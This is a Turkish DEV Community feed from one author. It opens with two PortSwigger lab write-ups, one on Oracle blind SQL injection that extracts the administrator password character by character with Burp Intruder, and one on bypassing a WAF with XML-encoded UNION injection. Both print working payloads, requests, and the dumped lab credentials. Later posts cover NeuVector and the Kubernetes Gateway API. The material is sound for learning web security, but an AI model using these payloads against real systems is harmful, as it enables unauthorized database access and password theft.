DEV Community: Yunus Emre Dere

Blind SQL Injection (Oracle): Intruder ile Administrator Şifresini Karakter Karakter Çıkarmak

Yunus Emre Dere — Thu, 08 Oct 2026 18:09:07 +0000

HTTP cevabında sorgumuz sebebiyle oluşan herhangi bir farklılık yoksa ve uygulama SQL Injection'a karşı savunmasızsa Blind SQL Injection kullanabiliriz.

Bu yazı, Burp Suite ve Intruder kullanılarak Cookie tarafında TrackingId sorgulamasından faydalanarak administrator şifresini veritabanından nasıl karakter karakter tespit edip şifreyi bulabileceğimizi ve bu süreçte karşılaştığım zorlukları anlatıyor.

Lab Tanıtımı

Lab Adı: Blind SQL injection with conditional errors
Zorluk: Practitioner
Senaryo: Cookie:TrackingId içine payload enjekte ederek karakter karakter administrator hesabının şifresini ele geçirme.
Hedef: Sisteme administrator hesabı ile giriş yapma.

Blind SQLI Nedir?

Eğer SQL Injection payload'ımıza rağmen uygulamanın web sayfası kısmında gözle görülebilen bir değişiklik yoksa uygulamayı veritabanı kısmında şartlı koşullarla hata vermeye zorlayarak yine veri elde edebiliriz. Buna Blind SQL Injection denir. UNION attack'tan temel farkı budur.

İlk Yaklaşım

İlk olarak koşul durumu tetiklenerek uygulamanın nasıl yanıt vereceğini ölçmemiz gerekir.

Veritabanı sorgusunda AND durumunu ve SELECT CASE WHEN(condition) THEN 1/0 ELSE 'a' END yapısını kullanacağız. Fakat burada veri tabanımız Oracle olduğu için uygun sorgu syntax'ini kullanmamız gerek.
bkz.SQLI Cheat Sheet

gc2' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual) = 'a'--

Yukarıda koşul doğru olursa uygulama divide by zero hatası verecek ve HTTP Status olarak 500 dönecek. Koşulun yanlış olması durumunda ise a=a olacağından sayfamız 200 dönecek. Bu aşamada uygulama nasıl tepki veriyor onu görmüş olduk.

Nihai Payload ve Oracle'a Özgü Tuzaklar

Birazdan şifreyi belirlemek için SUBSTRING kullanacağız fakat Oracle'da bu ifade SUBSTR olarak geçiyor. Ayrıca FROM kullanımı zorunlu ve alt sorgu tek satır döndürmesi gerekiyor.

Nihai payload'ımız bu şekilde gözükecek:

gc2' AND (SELECT CASE WHEN (SUBSTR(password,1,1) = 'm') THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username = 'administrator') = 'a'--

Burada FROM users diyerek users tablosunda, WHERE username = 'administrator' diyerek kullanıcı adı administrator olan satırın, SUBSTR(password,1,1) diyerek password değişkeninin 1. karakterinden başlayarak, 1. sıradaki karakteri =, > veya < operatörleri ile bulmaya çalışıyoruz. 2. karakteri bulmak isteseydik şu şekilde olacaktı: SUBSTR(password,2,1).

AND koşulunun çalışma mantığı şu şekildedir:

1 AND 1 = 1,
1 AND 0 = 0,

Önce < ve > operatörleri ile aralığı daraltabiliriz ve daha sonra = operatörleri ile karakteri bulabiliriz. Burada dikkat etmemiz ve benim de ilk başta kafamı karıştıran kısım Karakteri bulduğumuzda sayfa 500 yanıtı ile dönüyor.

Elle Karakter Bulmanın Sınırları

Bu lab uygulamasında şifre 20 karakter olarak rastgele oluşuyor. Bunun gibi örneklerde tek tek bulmak uzunluğuna bağlı olarak saatlere kadar çıkabilir (Ki bu uygulamada sadece küçük harfler ile 0-9 arası rakamlar kullanılmasına rağmen tek tek bulmak 30-45 dakika sürüyor). İşte bu noktada işleri biraz da olsa kolaylaştıran Intruder devreye giriyor.

Intruder ile Otomatikleştirme

Repeater'a gönderdiğimiz requesti buradan da Intruder'a göndermemiz gerek. Bunu CTRL+i ile (ya da tümünü seçip send to Intruder ile de) yapabiliriz.

Karşımıza gelen ekranda SUBSTR(password,1,1) = 'm' ifadesindeki m değerini mouse yardımı ile seçerek Add butonuna basmalıyız. Bu kısım bizim payloadımız. Bu işlemi yaptıktan sonra ekranın sağ tarafında Payloads sekmesi kullanılabilir hale gelecek. Eğer sizde tüm request kısmı seçili (mavi) olarak gözüküyorsa Positions kısmında Clear butonuna basarak tekrardan seçmeniz gerekir. Payload configuration kısmına karakterleri ekleyeceğiz. Bunu tek tek yazıp Add butonuna basarak da yapabiliriz ya da bir not defterine hepsini yazıp kopyalayıp burada Paste butonuna basarak da yapıştırabiliriz.

Tüm bu işlemleri yaptıktan sonra artık saldırıyı başlatabiliriz. Fakat Intruder kısmında bir karakteri bulduktan sonra SUBSTR ifadesinde bulmak istediğimiz karakterin indeksini tekrar değiştirmeliyiz.

Start attack butonuna bastıktan sonra tüm karakterler otomatik olarak denenecek ve = operatörü kullandığımız için doğru karakterde HTTP responsu 500 dönecek.

Sonuç: Administrator Olarak Giriş

Şifredeki tüm karakterleri belirledikten sonra artık administrator hesabı ile giriş yapıp lab'ı tamamlayabiliriz.

Yaşadığım Hatalar

Bu sorguyu yazarken birkaç şeyi gözden kaçırdım:

Parantezlerin eşleşip eşleşmediğini
Oracle'a özgü doğru fonksiyon adını (SUBSTRING yerine SUBSTR)
Intruder sonuç tablosunda, karakter x olduğunda Request 0'ın da 500 dönmesi beni bir an için şaşırttı, ama Payload sütununa bakınca bunun normal bir durum olduğunu (Request 0'ın da benim payload'da yazdığım karakterle baseline denemesi yaptığını) hızlıca anladım

Asıl zaman kaybettiren kısım ise farklıydı: tüm karakterleri tek tek topladıktan sonra girişte şifre çalışmadı. Meğer bir pozisyonda küçük bir hata yapmışım (muhtemelen bir karakteri atlamış ya da yanlış pozisyon numarasıyla test etmişim). Şifreyi elle, karakter karakter tekrar kontrol edip eksik/yanlış olan yeri düzelttikten sonra giriş başarılı oldu. Bu da elle takip etmenin ne kadar hataya açık olduğunu bir kez daha gösterdi.

Öğrendiklerim

Bu lab uygulamasında SQLI denerken hep görünebilir cevap vermeyeceğini öğrendim. Ayrıca Intruder ile çalışırken bile bu işlemin çok uzun sürdüğünü bu yüzden ileride her indeksi otomatik artıran, payload'daki karakterleri otomatik deneyen ve bütün şifrenin çıktısını elle müdahele etmeden bulan bir script yazmanın ne kadar gerekli olduğunu düşündüm. Bunu önümüzdeki dönemde kesinlikle yapmayı planlıyorum.

PortSwigger: SQL Injection with Filter Bypass via XML Encoding - Çözüm Günlüğüm

Yunus Emre Dere — Tue, 06 Oct 2026 20:26:32 +0000

SQL injection sadece URL üzerinden yapılmaz. WAF (Web Application Firewall) kurulu ortamlarda SELECT, WHERE, UNION gibi kelimeler filtrelenir. Bu sebeple JSON, XML gibi payload'lar ve bunların escape sequence'leri kullanılarak bu filtrelemenin önüne geçilebilir.

Bu yazı, Burp Suite ve Hackvertor kullanılarak XML escape sequence tekniğiyle WAF duvarını aşıp administrator şifresine veritabanından nasıl ulaşılabileceğini ve bu süreçte karşılaştığım zorlukları anlatıyor.

Lab Tanıtımı

Lab adı: SQL injection with filter bypass via XML encoding
Senaryo: Sitenin stock check özelliğinde SQL injection zafiyeti bulmak
Hedef: users tablosundan administrator kullanıcısının bilgilerini almak ve giriş yapmak

İlk Deneme ve Karşılaşılan Engel

Burp Suite'i bu lab'da ilk kez kullandım, tamamen tecrübesizdim. Düz bir payload denedim fakat WAF "Attack detected" diyerek engelledi.

Request:
POST /product/stock HTTP/2
Host: 0a15003b03d9ad3480d93547002a00f1.web-security-academy.net
Cookie: session=[REDACTED]
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1 UNION SELECT NULL --</productId><storeId>1</storeId></stockCheck>

Response:
HTTP/2 403 Forbidden
Content-Type: application/json; charset=utf-8

"Attack detected"

Araç Kurulumu

Kullanımı öğrenirken birkaç kafa karışıklığı yaşadım. Önce Extensions sekmesinden Hackvertor eklentisini kurdum. Sonra Proxy sekmesinde yeni bir browser açıp lab'ın linkini buraya yapıştırdım.

Bir istek gönderdiğimde, isteğin Repeater'a otomatik gitmediğini fark ettim. Proxy ekranı sadece geçmiş istekleri gösteriyor, burada request body üzerinde değişiklik yapılamıyor. İsteği değiştirebilmek için önce onu Repeater sekmesine göndermem gerekti: isteğe sağ tıklayıp Send to Repeater seçeneğine tıkladım (klavye kısayolu: Ctrl+R).

Çözüm Mantığı

WAF, gönderdiğimiz isteği sunucuya ulaşmadan önce tarar ve ham metnin içinde SELECT, UNION gibi bilinen tehlikeli kelimeleri arar. Buna imza tabanlı tespit (signature-based detection) denir.

Biz burada bu kelimeleri otomatik olarak XML decimal karşılıklarına çeviriyoruz (UNION...). Bu sayede SELECT yerine onun decimal karşılıkları gidiyor ve WAF aradığı kelimeleri bulamadığı için isteği sorunsuz sanıyor.

Fakat istek sunucuya ulaştığında, uygulama veriyi bir XML belgesi olarak işliyor. XML standardının kuralı gereği bir XML parser, U gibi karakter referanslarını otomatik olarak gerçek karaktere çevirmek zorunda. Böylece arka planda tekrar düz SELECT kelimesi oluşuyor. Bu çözülmüş hal SQL sorgusuna gönderiliyor ve veritabanı onu normal bir sorgu gibi çalıştırıyor.

Adım Adım Çözüm

<productId> kısmına payload'ımızı yazacağız:

1 UNION SELECT NULL --

Fakat bu şekilde düz yazarsak WAF'a takılır ve yukarıdaki Attack detected hatasını alırız. Bu yüzden Hackvertor ile <@dec_entities></@dec_entities> etiketlerini kullanmamız gerekiyor. Bunun için Repeater'da sorgumuzu seçip sağ tık menüsünden Extensions > Hackvertor > Encode > dec_entities seçeneğine tıklıyoruz. Bu işlemden sonra satır şu şekilde görünmeli:

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1 <@dec_entities>UNION SELECT NULL --</@dec_entities></productId><storeId>1</storeId></stockCheck>

Request (kolon sayısı testi):
POST /product/stock HTTP/2
Host: 0a15003b03d9ad3480d93547002a00f1.web-security-academy.net
Cookie: session=[REDACTED]
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1 <@dec_entities>UNION SELECT NULL --</@dec_entities></productId><storeId>1</storeId></stockCheck>

Response:
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8

164 units
null
775 units
311 units

Bu adımda tabloda kaç kolon olduğunu öğreniyoruz. Bu örnekte 1 kolon var.

Response kısmında sırasıyla null, 295 units... diye devam eden kısımdaki null, bizim UNION sorgumuzla gelen değer. Eğer 2 kere NULL yazsaydık bu değer tabloda görünmeyecekti, bu da tablonun 2 kolona sahip olmadığı anlamına gelirdi. Yani sorgudaki NULL sayısını, değer tabloda görünene kadar artırmamız gerekiyor.

Bu örnekte geçerli değil, fakat birden fazla kolon olsaydı, getirmek istediğimiz değerin (bu örnekte username ve password, yani ikisi de string) hangi kolona karşılık geldiğini de tespit etmemiz gerekirdi. Bunu, NULL'lardan birinin yerine 'a' yazarak anlayabiliriz. UNION'ın çalışması için iki şart sağlanmalı:

Kolon sayısı aynı olmalı
Getirmek istediğimiz veri türü, karşılık geldiği kolonun veri türüyle aynı olmalı

Artık users tablosundan username ve password bilgilerini getirebiliriz. Ama burada bir sorun var: getirmek istediğimiz 2 kolon, ana tablodaysa sadece 1 kolon var. Bu yüzden iki kolondaki verileri tek kolonda birleştirmemiz gerekiyor. Bunun için || operatörünü kullanıyoruz (bkz. PortSwigger SQL injection cheat sheet).

Son satırımız şöyle olmalı:

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1 <@dec_entities>UNION SELECT username||'~'||password FROM users --</@dec_entities></productId><storeId>1</storeId></stockCheck>

Request (veri çekme):
POST /product/stock HTTP/2
Host: 0a15003b03d9ad3480d93547002a00f1.web-security-academy.net
Cookie: session=[REDACTED]
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1 <@dec_entities>UNION SELECT username||'~'||password FROM users --</@dec_entities></productId><storeId>1</storeId></stockCheck>

Response:
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8

775 units
311 units
wiener~ldl5jjiarqm2r40gyvv5
administrator~p05gs1mypnq3sazi3n8a
164 units
carlos~yhlvkwchc0kfap33gp1e

Response kısmında kullanıcı adları ve şifreler görünüyor. Buradan administrator'ın şifresini alıp sitede giriş yapıyorum ve lab tamamlanıyor.

Yaşadığım Hatalar

Bu lab'ı çözerken birkaç kez yanlış yola saptım, bunları da paylaşmak isterim:

Önce Burp'ün Proxy ekranında isteği değiştirmeye çalıştım, ama orası sadece geçmişi gösteriyor, düzenleme yapılamıyor. Bunu Repeater'a göndermem gerektiğini anlamam biraz zaman aldı.
İlk denemelerimde UNION SELECT yerine kelimeleri yanlış sırada yazdım, bu da anlamsız hatalar almama sebep oldu.
HTTP durum kodunun 200 OK olmasını, sorgunun doğru çalıştığı anlamına geldiğini sandım. Oysa asıl bakılması gereken şey response body'nin içeriğiydi; uygulama hatalı bir sorguda bile 200 dönebiliyor.

Öğrendiklerim

WAF'lar genelde imza tabanlı çalışıyor, yani bilinen tehlikeli kelimeleri arıyor. Veriyi farklı bir katmanda (burada XML parser'da) çözümleyen bir sistemle bu tespiti atlatmak mümkün.
Burp Suite'in temel akışını (Proxy → Repeater) bu lab sayesinde ilk kez uygulamalı öğrenmiş oldum.
UNION attack'ın iki şartını (kolon sayısı ve veri tipi eşleşmesi) artık sadece ezbere değil, bizzat deneyerek biliyorum.

Bir sonraki hedefim, aynı tekniği farklı bir encoding yöntemiyle (örneğin JSON tabanlı bir filtre bypass'ında) tekrar denemek.

NeuVector - Rke2: Kubernetes İçin Derinlemesine Güvenlik

Yunus Emre Dere — Thu, 04 Dec 2025 11:25:13 +0000

Standart Kubernetes ağ politikaları (Network Policies) ve klasik güvenlik duvarları, podlar arasındaki trafiği (East-West) analiz etmede yetersiz kalır. Bu araçlar genellikle IP ve Port seviyesinde (Layer 3/4) çalışır, ancak uygulama katmanındaki (Layer 7) tehditleri göremezler.

Bu yazıda, RKE2 üzerinde koşan iş yüklerimizi korumak için neden NeuVector tercih ettiğimizi, teknik mimarisini ve diğer çözümlerden farkını inceleyeceğiz.

NeuVector, patentli Derin Paket İnceleme (DPI) teknolojisi ile konteyner trafiğini gerçek zamanlı analiz eder ve Zero-Trust prensibini cluster içine kadar indirger.

Detaylar ve Temel Özellikler

1. Canlı Ağ Güvenliği (Runtime Security)

Genellikle güvenlik araçları imajlardaki açıkları tarar. NeuVector ise çalışma zamanında podlar arası trafiği izler.

Deep Packet Inspection (DPI): Pod'lar birbirleriyle konuşurken paketlerin içine bakar. Bir SQL Injection veya şüpheli bir DNS sorgusu görürse, ağ seviyesinde bunu engelleyebilir.
East-West Trafiği: Klasik firewall'lar sadece dışarıdan gelen (North-South) trafiği görür. NeuVector ise cluster içindeki (East-West) trafiği görür ve yönetir.

2. Zero-Trust ve Davranışsal Öğrenme

NeuVector kurulduğu andan itibaren hemen trafiği izlemeye başlar ve normal davranışları öğrenir.

Discover: Uygulamanın kimle konuştuğunu öğrenir ve otomatik kurallar oluşturur.
Monitor: Normalin dışına çıkıldığında, yani bir pod normalde hiç iletişime geçmediği bir podla iletişime geçerse sadece alarm verir.
Protect: Normal dışı her türlü hareketi bloklar. Yani saldırgan içeri girse bile ağda hareket edemez.

3. Zafiyet ve Uyumluluk Taraması

Konteynır imajlarını hem registry'de hem de çalışırken tarar.
CIS Benchmark (Kubernetes güvenlik standartları) testlerini otomatik yapar ve raporlar.

Olumsuz Yanları

Yüksek Kaynak Tüketimi

Ağ trafiğini analiz etmek için her Kubernetes Node'una bir "Enforcer" podu kurar.

Sorun: Bu Enforcer'lar, geçen her veri paketini açıp (Layer 7 inceleme) içine baktığı için ciddi miktarda CPU ve Bellek tüketebilir.

Ağ Gecikmesi (Latency)

Sorun: Aşırı düşük gecikme gerektiren gerçek zamanlı uygulamalarda performans olumsuz etkilenebilir.

`Protect` Moduna Geçiş Riski

NeuVector'un en güçlü yanı en riskli yanı olabilir.

Sorun: Sistem öğrenme modundayken görmediği nadir bir trafiği, koruma moduna geçtiğinde tehdit sanıp engelleyebilir. Bu yüzden Protect modunda kullanmaktansa Alarm modunda kullanmak daha tercih edilebilir bir seçimdir.

Karmaşık Yönetim ve Öğrenme Eğrisi

Basit bir antivirus gibi "kur ve unut" türü bir yazılım değildir.
Detayları ve kuralları anlamlandırmak zor olabilir.

İlk Kurulumda Kargaşa

Sorun: Kubernetes ortamları çok gürültülüdür (Health checkler, DNS sorguları, metrik toplayıcılar vb.). Bu sebeple çok fazla sayıda anlamsız kural oluşabilir ve bunları temizlemek zaman alabilir.

Ne Zaman Kullanılmalı?

Eğer blog sitesi gibi basit bir sistem ise kaynakları boşa harcamak olur. Ama finans, bankacılık veya hassas verilerin olduğu, "Zero Trust" bir mimaride NeuVector vazgeçilmezdir.

Mimari ve Kavramlar

5 temel kavramı vardır.

1. Üç Temel Bileşen

NeuVector kurulduğunda Cluster içinde birkaç farklı pod görülür:

Controller (Beyin): Kuralları yönetir, kararları verir. Genelde 3 kopya çalışır.
Manager (Yüz): Web Arayüzünü (UI) sağlayan servistir.
Enforcer (Kas): En kritiği budur. Her bir node üzerinde bir ajan gibi (DaemonSet olarak) çalışır. Trafiği kesen veya izin veren, paketin içine bakan parça budur.
Scanner (Göz): İmajları tarayıp güvenlik açığı (CVE) bulan parçadır.

2. Altın Kural: "Önce Öğren, Sonra Koru"

Doğru akış şu şekildedir:

Discover: Sistemi en az 1-2 hafta bu modda bırakmak gerekir. NeuVector normal trafiğin ne olduğunu, hangi servisin kiminle konuştuğunu öğrensin.
Monitor: Kurallar oturduktan sonra bu moda geçilmelidir. Artık yeni veya bilinmeyen bir trafik gelirse engellemez ama Alarm verir.
Protect: Sadece %100 emin olunan servislerde bu moda geçilmelidir.

3. SUSE ve Açık Kaynak Durumu

SUSE firmasının ürünü satın alması ile tamamen açık kaynak oldu. Eski enterprise özelliklerinin çoğu artık bedava. DockerHub veya GitHub üzerinden imajlar ücretsiz olarak çekilebilir.

4. Kurallar Kod Olarak Dışarı Alınabilir (Security As Code)

Mesela NeuVector Development ortamında trafiği öğrendi. Bu kuralları YAML dosyası olarak Export edebilirsiniz. Daha sonrasında Production ortamında uygulayarak öğrenme süresi kısılabilir. Bu, DevOps süreçleri için harika bir özelliktir.

5. Helm İle Kurulum

Resmi Helm Chartı vardır ve kurulumu standarttır.

Diğer Firewall'lar ile Karşılaştırma

Özellik	NeuVector	Cilium (Hubble)	Calico	Istio (Service Mesh)
Temel Teknoloji	Özel DPI Motoru	eBPF (Linux Kernel)	Iptables / eBPF	Envoy Proxy (Sidecar)
En Güçlü Yanı	DPI (Derin Paket İnceleme)	Yüksek Performans & Ölçek	Standart ve Kararlı	Trafik Yönetimi & mTLS
OSI Katmanı	Katman 7 (Uygulama)	Katman 3-4 (ve kısmen 7)	Katman 3-4 (IP/Port)	Katman 7 (Uygulama)
Paket İçeriği	✅ Okur (SQLi vb. görür)	❌ Genelde okumaz	❌ Okumaz	✅ Okur (Yönlendirme için)
Görünürlük (UI)	✅ Çok detaylı Ağ Haritası	✅ Hubble UI	⚠️ Temel	✅ Kiali vb. ile harita var
WAF Özelliği	✅ Var (Basit WAF)	❌ Yok	❌ Yok	❌ Yok (Eklenti gerekir)
Öğrenme Modu	✅ Otomatik kural yazar	❌ Manuel	❌ Manuel	❌ Manuel
Kaynak Tüketimi	Orta/Yüksek	Düşük	Düşük	Yüksek
Kullanım Amacı	Tam Güvenlik / Saldırı Engelleme	Ağ Bağlantısı & Gözlem	Standart Ağ Politikaları	Servisler Arası Şifreleme

Ek Bilgi: WAF Nedir?

WAF (Web Application Firewall): İnternetten gelebilecek saldırılara karşı koruyan özel bir güvenlik kalkanıdır. Basitçe, klasik güvenlik duvarı "ağ trafiğine" bakarken, WAF "uygulamanın diline" (HTTP/HTTPS) bakar.

WAF Neleri Engeller? (OWASP Top 10)

Genelde Layer 7 (Uygulama Katmanı) seviyesinde çalışır ve şunları yakalar:

SQL Injection (SQLi): Saldırganın web sitesindeki formları kullanarak veritabanını çalmaya çalışması.
Cross-Site Scripting (XSS): Web sayfasına zararlı JavaScript kodları gömerek kullanıcıların bilgilerini çalma girişimi.
Cookie Poisoning: Kullanıcı oturumlarını ele geçirme çabaları.
L7 DDoS Saldırıları: Siteyi çökertmek için yapılan sahte ve yoğun istekler.

Kubernetes Gateway API Rehberi: Ingress NGINX'ten Göç ve Zabbix Örneği

Yunus Emre Dere — Fri, 28 Nov 2025 05:57:09 +0000

NGINX Ingress'e Ne Oldu?

2026 yılında Kubernetes dünyasında önemli bir değişiklik yaşanacak: NGINX Ingress Controller artık yeni özellik güncellemeleri almayacak. Panik yapmaya gerek yok - mevcut kurulumlarınız çalışmaya devam edecek. Ancak yeni özellikler için artık başka bir çözüme bakmamız gerekiyor.

İşte burada Kubernetes Gateway API devreye giriyor.

Gateway API Nedir ve Neden Önemli?

Gateway API, Kubernetes'in resmi olarak desteklediği yeni nesil routing çözümü. Ingress'ten temel farkı şu: modüler yapısı.

Ingress'te her şey tek bir YAML dosyasında toplanıyordu. Gateway API ise işleri üç parçaya ayırıyor:

1. GatewayClass

Cluster genelinde hangi gateway controller'ın kullanılacağını belirler. Bunu bir kere tanımlıyorsunuz ve tüm cluster için geçerli oluyor.

apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
  name: cluster-gateway-class
spec:
  controllerName: gateway.nginx.org/nginx-gateway-controller

GatewayClass seçenekleri:

NGINX Gateway Fabric (NGINX Inc.)
Istio Gateway (Google/IBM)
Cilium Gateway (eBPF tabanlı)
Kong Gateway (Enterprise)
Envoy Gateway (CNCF)

Her birinin kendine göre avantajları var. NGINX Gateway Fabric hafif ve basit, Istio daha gelişmiş service mesh özellikleri sunuyor, Cilium performans odaklı.

2. Gateway

Asıl trafiği dinleyen ve yönlendiren bileşen. HTTP, HTTPS, TCP gibi farklı protokolleri destekliyor.

apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: cluster-gateway
  namespace: nginx-gateway
spec:
  gatewayClassName: cluster-gateway-class
  listeners:
    - name: http
      protocol: HTTP
      port: 80
      allowedRoutes:
        namespaces:
          from: All  # TÜM namespace'lerden route kabul et

3. HTTPRoute

Her servis için ayrı tanımlanıyor. Hangi hostname'den gelen trafiğin hangi servise gideceğini belirliyor.

Gateway API'nin Sağladığı Kolaylıklar

1. Rol Ayrımı:

Cluster admin: GatewayClass ve Gateway'i yönetir
Geliştirici: Sadece kendi HTTPRoute'unu yönetir

2. Namespace İzolasyonu:
Gateway başka namespace'de olsa bile HTTPRoute kendi namespace'inden bağlanabiliyor.

3. Daha Detaylı Routing:

Header-based routing
Query parameter routing
Method-based routing (GET, POST, etc.)
Weight-based traffic splitting

4. Backend Seçenekleri:
Ingress'te sadece Service'e yönlendirme vardı. Gateway API ile:

Multiple backends
Traffic weighting (A/B testing)
Request/response header değiştirme

Gerçek Dünya Örneği: Zabbix Deployment

Şimdi pratiğe geçelim. Zabbix monitoring sistemini Gateway API ile nasıl expose ediyoruz?

Adım 1: GatewayClass Oluşturma

apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
  name: cluster-gateway-class
  annotations:
    description: "Cluster-wide gateway class for all services"
spec:
  controllerName: gateway.nginx.org/nginx-gateway-controller
  description: "NGINX Gateway Fabric for cluster infrastructure"

Bu dosyayı cluster'da bir kere deploy ediyoruz. Tüm servisler bunu kullanacak.

Adım 2: Gateway Oluşturma

apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: cluster-gateway
  namespace: nginx-gateway
  annotations:
    description: "Cluster-wide gateway for all services"
spec:
  gatewayClassName: cluster-gateway-class
  listeners:
    - name: http
      protocol: HTTP
      port: 80
      allowedRoutes:
        namespaces:
          from: All
    - name: https
      protocol: HTTPS
      port: 443
      allowedRoutes:
        namespaces:
          from: All
      tls:
        mode: Terminate
        certificateRefs:
          - kind: Secret
            name: cluster-tls-secret

Önemli detay: allowedRoutes.namespaces.from: All

Bu satır olmadan Gateway sadece kendi namespace'indeki route'ları kabul eder. All yaparak tüm namespace'lerdeki servislerin bu gateway'i kullanmasına izin veriyoruz.

Adım 3: Zabbix için HTTPRoute

apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: zabbix-route
  namespace: zabbix
spec:
  parentRefs:
    - name: cluster-gateway
      namespace: nginx-gateway
      sectionName: http
    - name: cluster-gateway
      namespace: nginx-gateway
      sectionName: https
  hostnames:
    - "zabbix"
  rules:
    - matches:
        - path:
            type: PathPrefix
            value: /
      backendRefs:
        - name: zabbix-zabbix-web
          port: 80

Dikkat edilmesi gerekenler:

Cross-namespace referans: HTTPRoute zabbix namespace'inde ama nginx-gateway namespace'indeki gateway'e bağlanıyor.
parentRefs: Hem HTTP hem HTTPS listener'a bağlandık. Böylece her iki protokol de çalışıyor.
sectionName: Gateway'deki hangi listener'a bağlanacağımızı belirtiyoruz.
hostnames: Browser'da http://zabbix yazınca bu route devreye girecek.

Deployment

# 1. NGINX Gateway Fabric kur
kubectl apply -f https://github.com/kubernetes-sigs/gateway-api/releases/download/v1.1.0/standard-install.yaml
kubectl apply -f https://raw.githubusercontent.com/nginxinc/nginx-gateway-fabric/v1.5.0/deploy/default/deploy.yaml

# 2. Gateway controller'ı yapılandır
kubectl patch deployment nginx-gateway -n nginx-gateway --type='json' \
  -p='[{"op": "replace", "path": "/spec/template/spec/containers/0/args/2", "value": "--gatewayclass=cluster-gateway-class"}]'

# 3. Gateway infrastructure'ı deploy et
kubectl apply -f gatewayclass.yaml
kubectl apply -f gateway.yaml

# 4. Zabbix HTTPRoute'u deploy et
kubectl apply -f zabbix-httproute.yaml

# 5. Kontrol et
kubectl get gateway -A
kubectl get httproute -A

Sık Karşılaşılan Sorunlar ve Çözümleri

Problem 1: HTTPRoute "Not Allowed by Listeners" hatası

Çözüm: Gateway'de allowedRoutes.namespaces.from: All ekleyin.

Problem 2: Gateway EXTERNAL-IP pending kalıyor

Çözüm: On-premise kurulumda MetalLB kullanın veya manuel IP atayın: (Bu komut, MetalLB gibi bir LoadBalancer servisi olmayan Lab/Test ortamlarında manuel IP atamak içindir. Production ortamında Cloud Provider veya MetalLB bu IP'yi otomatik verir.)

kubectl patch svc nginx-gateway -n nginx-gateway \
  -p '{"spec":{"externalIPs":["10.67.67.217"]}}'

Problem 3: Backend HTTPS çalışmıyor

Çözüm: NGINX Gateway Fabric, backend TLS konusunda çok katı standartlara sahip. Self-signed sertifikalarla uğraşmak yerine, SSL Offloading (Termination) yapıp arkada HTTP kullanmak şu an için en stabil ve hızlı yöntem.

Önemli Trickler ve Best Practices

1. Gateway Namespace Seçimi

Gateway'i infrastructure namespace'ine (nginx-gateway) koyun, uygulama namespace'ine değil. Böylece:

Merkezi yönetim sağlanır
Uygulama namespace'leri silinse bile gateway ayakta kalır
Rol ayrımı net olur

2. Gateway İsimlendirme

zabbix-gateway gibi servise özel isim yerine cluster-gateway gibi neutral isim kullanın. Gateway tüm cluster'a hizmet ediyor.

3. LoadBalancer External IP

Cloud sağlayıcı kullanmıyorsanız:

kubectl patch svc nginx-gateway -n nginx-gateway \
  -p '{"spec":{"externalIPs":["YOUR_IP"]}}'

4. Multiple Listeners

Hem HTTP hem HTTPS için ayrı listener tanımlayın:

listeners:
  - name: http
    port: 80
  - name: https
    port: 443

HTTPRoute her ikisine de bağlanabilir:

parentRefs:
  - name: cluster-gateway
    sectionName: http
  - name: cluster-gateway
    sectionName: https

5. Debugging

Gateway durumunu kontrol etmek için:

# Gateway programmed mı?
kubectl get gateway -n nginx-gateway

# Route accepted mı?
kubectl describe httproute zabbix-route -n zabbix

# NGINX Gateway Fabric logları
kubectl logs -n nginx-gateway deployment/nginx-gateway -f

Gateway API vs Ingress: Özet Karşılaştırma

Özellik	Ingress	Gateway API
Modüler yapı	❌	✅
Rol ayrımı	❌	✅
Advanced routing	Sınırlı	✅
Multiple protocols	❌	✅
Vendor-neutral	Kısmen	✅
Production-ready	✅	✅ (v1.0+)

Kubectl Alias'ları (Bonus)

Gateway API ile çalışırken işinizi kolaylaştıracak alias'lar:

# ~/.bash_aliases dosyasına ekleyin
alias kgg='kubectl get gateway'
alias kgh='kubectl get httproute'
alias kgc='kubectl get gatewayclass'
alias kdg='kubectl describe gateway'
alias kdh='kubectl describe httproute'
alias kdc='kubectl describe gatewayclass'

# Hepsini görmek için
alias kgg-all='kubectl get gateway -A'
alias kgh-all='kubectl get httproute -A'

Kullanım:

kgg -n nginx-gateway        # Gateway'leri listele
kgh-all                     # Tüm HTTPRoute'ları göster
kdh zabbix-route -n zabbix  # Route detaylarını göster

Sonuç

Gateway API, Kubernetes routing'in geleceği. 2026'da NGINX Ingress'in güncelleme almaması ile birlikte Gateway API'ye geçiş kaçınılmaz hale geliyor.

Modüler yapısı sayesinde:

Cluster admin'ler altyapıyı yönetiyor
Geliştiriciler sadece kendi route'larını düşünüyor
Farklı namespace'ler izole çalışıyor
Controller değiştirmek kolay

Eğer yeni bir proje başlıyorsanız veya mevcut Ingress yapınızı modernize etmek istiyorsanız, Gateway API doğru seçim.

Önemli Not: Bu yazıda kullanılan yapı production-ready. Ancak backend HTTPS gibi bazı özellikler NGINX Gateway Fabric v1.5.0'da henüz tam desteklenmiyor. Bu özellikler 2025 Q3-Q4'te gelecek güncellemelerle eklenecek.

Kaynaklar

Bu makale, gerçek bir production deployment deneyimine dayanarak yazılmıştır. Zabbix monitoring sistemi üzerinde test edilmiş ve çalışır durumda olan yapılandırmalar kullanılmıştır.

RKE2'de Liman MYS & Keycloak Kurulumu: Longhorn ve Docker Hub Hata Çözümleri Dahil Tam Rehber

Yunus Emre Dere — Fri, 24 Oct 2025 10:37:05 +0000

Kubernetes (K8s) dünyasında, Liman MYS gibi, envanter yönetiminden servis takibine kadar pek çok işlevi eklentilerle yürüten platformlar kullanırız. Bu farklı bileşenler ve yetkiler için merkezi bir kimlik doğrulama (Authentication) yönetimi hızla karmaşıklaşabilir. İşte bu noktada Keycloak devreye giriyor.

